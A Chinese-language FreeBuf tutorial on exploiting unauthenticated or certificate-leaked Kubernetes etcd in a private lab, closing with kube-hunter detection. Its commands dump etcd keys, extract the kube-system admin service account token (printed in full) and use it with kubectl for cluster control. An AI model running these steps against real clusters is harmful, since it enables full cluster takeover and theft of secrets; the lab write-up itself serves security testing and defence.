freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

K8S Etcd未授权访问漏洞
2023-11-02 15:15:16

在Kubernetes中,etcd是一个高可用的、强一致性的分布式键值存储系统,用于存储和管理集群配置、状态信息以及其他元数据。它充当了Kubernetes控制平面组件的数据存储后端,确保Kubernetes集群的配置和状态数据的一致性和可靠性,以支持容器编排、自动扩展和服务发现等关键功能。

因此,控制etcd服务,相当于控制整个集群,接下来我会介绍etcd未授权访问漏洞以及在证书泄露时如何利用etcd,最后介绍一下kube-hunter如何识别etcd未授权漏洞

环境搭建

./metarget gadget install k8s --version 1.16.5

创建了一个名为 admin-user 的 Kubernetes Service Account,然后将 cluster-admin 集群角色绑定到该服务帐户。这授予了 admin-user 服务帐户在整个集群中执行几乎所有操作的特权,通常用于开发和测试环境,但在生产环境中需小心谨慎使用,以确保安全性。

kubectl apply -f account.yaml

etcd未授权访问

修改配置文件将--client-cert-auth的值修改为false(默认是true)

/etc/kubernetes/manifests

vim etcd.yaml

在攻击机上执行

curl https://192.168.159.235:2379/version-k

成功访问到kubernetes的etcd服务

使用 etcdctl 工具获取 etcd 键空间中的所有键,不获取键对应的值,同时跳过 TLS 证书验证。

./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.159.235:2379/ get / --prefix --keys-only

使用 grep 命令来过滤出包含 "/secrets/kube-system/clusterrole" 的键,查找 etcd 中与 Kubernetes 集群中 kube-system 命名空间的集群角色相关的信息
./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.159.235:2379/ get  --keys-only --prefix=true "/" | grep /secrets/kube-system

查看与 Kubernetes 集群中 kube-system 命名空间相关的密钥token

/etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.159.235:2379/ get /registry/secrets/kube-system/admin-user-token-54hwf

通过该token可以获取k8s集群的权限

kubectl --insecure-skip-tls-verify -s https://192.168.159.235:6443 --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IjV3Z045Rmk1U21qTGJuajRzWnlTRzhUY3RtdE1RVnpLYllyV0ZtOF96dTQifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJhZG1pbi11c2VyLXRva2VuLTU0aHdmIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImFkbWluLXVzZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJiYzZhZjE4NC1lOWI2LTQyMzYtYWM5OC03ZjE4NmY1YzU5NmEiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06YWRtaW4tdXNlciJ9.FGLlLoetvzgAEFDWPLxynvr1QPMTAIYkEi05CCZzvqYSW7kvlUltru8OzAQDNvCfeZiTL5d5rejvhmdh2w4fUpzAWa70m4SdlzPHHAtgoG6tt7jhDVq-BR8y17sasnRX-PQ0X32LPbrtmI3s1VJhJmqa9Q1CJWTM10NPTsviq07Tr3zQdyIvU1HnILb4kgD8-NGL0xr-7QNYfdMXrv912FIbGK9z1SoVxcn40c7A8i8hC804F11Z2n_13yjZ5wdhdiQ3Pluz2QJyTwXl6jd5rMegsch2-_Y1o4cscJGJyK3X9PrOBv02C6uGFw-pNrjs5NYmIufraWHA-W1LovQyEg" -n kube-system get pods

通过泄漏的证书攻击etcd服务

在默认情况下etcd需要授权才能访问,如下

在集群的/etc/kubernetes/pki/etcd目录下存放着证书信息

此时如果证书泄露了,我们就可以利用证书访问etcd

我们把3个证书复制到攻击机的etcd工具目录下,导入环境变量

export ETCDCTL_CERT=peer.crt
export ETCDCTL_CACERT=ca.crt
export ETCDCTL_KEY=peer.key

我们验证一下是否能访问etcd

./etcdctl --endpoints=https://192.168.159.235:2379/ get / --prefix --keys-only

成功访问,接下来的利用方式同上面的etcd未授权访问。

kube-hunter发现k8s漏洞

./kube-hunter.py --cidr 192.168.159.235

识别出了etcd未授权访问漏洞



# 漏洞 # 渗透测试 # 系统安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录